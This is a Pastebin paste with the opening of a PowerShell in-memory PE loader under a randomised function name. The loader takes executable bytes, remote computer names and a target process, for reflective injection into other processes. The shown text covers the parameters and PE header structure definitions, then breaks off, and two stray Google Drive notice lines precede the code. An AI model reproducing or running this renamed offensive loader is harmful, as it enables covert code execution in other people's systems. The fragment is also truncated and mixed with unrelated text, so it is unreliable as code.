orenma

Untitled

Apr 19th, 2022
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Shortcuts simplify My Drive …
  2. In the coming weeks, items in more than one folder will be replaced by shortcuts. Access to files and folders won't change.Learn more
  3. function Invoke-COVDQSQKASLYKYN
  4. {
  5.  
  6. [CmdletBinding()]
  7. Param(
  8.    [Parameter(Position = 0, Mandatory = $true)]
  9.    [ValidateNotNullOrEmpty()]
  10.    [Byte[]]
  11.    $PEBytes,
  12.  
  13.     [Parameter(Position = 1)]
  14.     [String[]]
  15.     $ComputerName,
  16.  
  17.     [Parameter(Position = 2)]
  18.    [ValidateSet( 'WString', 'String', 'Void' )]
  19.     [String]
  20.     $FuncReturnType = 'Void',
  21.  
  22.     [Parameter(Position = 3)]
  23.     [String]
  24.     $ExeArgs,
  25.  
  26.     [Parameter(Position = 4)]
  27.     [Int32]
  28.     $ProcId,
  29.  
  30.     [Parameter(Position = 5)]
  31.     [String]
  32.     $ProcName,
  33.  
  34.    [Switch]
  35.    $ForceASLR,
  36.  
  37.     [Switch]
  38.     $DoNotZeroMZ
  39. )
  40.  
  41. Set-StrictMode -Version 2
  42.  
  43.  
  44. $RemoteScriptBlock = {
  45.     [CmdletBinding()]
  46.     Param(
  47.         [Parameter(Position = 0, Mandatory = $true)]
  48.         [Byte[]]
  49.         $PEBytes,
  50.  
  51.         [Parameter(Position = 1, Mandatory = $true)]
  52.         [String]
  53.         $FuncReturnType,
  54.  
  55.         [Parameter(Position = 2, Mandatory = $true)]
  56.         [Int32]
  57.         $ProcId,
  58.  
  59.         [Parameter(Position = 3, Mandatory = $true)]
  60.         [String]
  61.         $ProcName,
  62.  
  63.        [Parameter(Position = 4, Mandatory = $true)]
  64.        [Bool]
  65.        $ForceASLR
  66.     )
  67.  
  68.     Function Get-Win32Types
  69.     {
  70.         $Win32Types = New-Object System.Object
  71.  
  72.         $Domain = [AppDomain]::CurrentDomain
  73.         $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
  74.         $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  75.         $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
  76.         $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
  77.  
  78.         $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
  79.         $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
  80.         $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
  81.         $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
  82.         $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
  83.         $MachineType = $TypeBuilder.CreateType()
  84.         $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
  85.  
  86.  
  87.         $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
  88.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
  89.         $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
  90.         $MagicType = $TypeBuilder.CreateType()
  91.         $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
  92.  
  93.  
  94.         $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
  95.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
  96.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
  97.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
  98.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
  99.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
  100.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
  101.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
  102.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
  103.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
  104.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
  105.         $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
  106.         $SubSystemType = $TypeBuilder.CreateType()
  107.         $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
  108.  
  109.  
  110.         $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
  111.         $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
  112.         $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
  113.         $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
  114.         $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
  115.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
  116.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
  117.         $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
  118.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
  119.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
  120.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
  121.         $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
  122.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
  123.         $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
  124.         $DllCharacteristicsType = $TypeBuilder.CreateType()
  125.         $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
  126.  
  127.  
  128.  
  129.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  130.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
  131.         ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
  132.         ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
  133.         $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
  134.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
  135.  
  136.  
  137.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  138.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
  139.         $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
  140.         $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
  141.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  142.         $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
  143.         $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
  144.         $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
  145.         $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
  146.         $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
  147.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
  148.  
  149.  
  150.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  151.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
  152.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  153.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  154.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  155.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  156.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  157.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  158.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  159.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  160.         ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
  161.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  162.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  163.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  164.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  165.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  166.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  167.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  168.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  169.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  170.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  171.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  172.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  173.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  174.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  175.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
  176.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
  177.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
  178.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
  179.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
  180.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
  181.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  182.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  183.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  184.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  185.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  186.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  187.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  188.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  189.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  190.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  191.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  192.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  193.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  194.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  195.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
  196.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
  197.         $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
  198.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
  199.  
  200.  
  201.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  202.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
  203.         ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  204.         ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  205.         ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  206.         ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  207.         ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  208.         ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  209.         ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  210.         ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  211.         ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
  212.         ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
  213.         ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  214.         ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  215.         ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  216.         ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  217.         ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  218.         ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  219.         ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  220.         ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  221.         ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  222.         ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  223.         ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  224.         ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  225.         ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  226.         ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  227.         ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
  228.         ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
  229.         ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
  230.         ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
  231.         ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
  232.         ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
  233.         ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
  234.         ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
  235.         ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  236.         ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  237.         ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  238.         ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  239.         ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  240.         ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  241.         ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  242.         ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  243.         ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  244.         ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  245.         ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  246.         ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  247.         ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  248.         ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  249.         $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
  250.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
  251.  
  252.  
  253.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  254.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
  255.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  256.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  257.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
  258.         $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
  259.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
  260.  
  261.  
  262.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  263.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
  264.         $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  265.         $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  266.         $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
  267.         $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
  268.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
  269.  
  270.  
  271.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  272.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
  273.         $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
  274.         $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
  275.         $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
  276.         $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
  277.         $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
  278.         $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
  279.         $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
  280.         $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
  281.         $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
  282.         $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
  283.         $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
  284.         $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
  285.         $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
  286.         $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
  287.  
  288.         $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
  289.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  290.         $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
  291.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
  292.         $e_resField.SetCustomAttribute($AttribBuilder)
  293.  
  294.         $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
  295.         $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
  296.  
  297.         $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
  298.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  299.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
  300.         $e_res2Field.SetCustomAttribute($AttribBuilder)
  301.  
  302.         $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
  303.         $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
  304.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
  305.  
  306.  
  307.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  308.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
  309.  
  310.         $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
  311.         $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  312.         $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
  313.         $nameField.SetCustomAttribute($AttribBuilder)
  314.  
  315.         $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
  316.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  317.         $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
  318.         $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
  319.         $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
  320.         $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
  321.         $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
  322.         $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
  323.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  324.         $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
  325.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
  326.  
  327.  
  328.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  329.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
  330.         $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  331.         $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
  332.         $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
  333.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION
  334.  
  335.  
  336.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  337.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
  338.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  339.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  340.         $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
  341.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  342.         $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
  343.         $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
  344.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR
  345.  
  346.  
  347.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  348.         $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
  349.         $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  350.         $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  351.         $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
  352.         $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
  353.         $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
  354.         $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
  355.         $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
  356.         $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
  357.         $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
  358.         $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
  359.         $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
  360.         $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
  361.         $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
  362.  
  363.  
  364.         $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  365.         $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
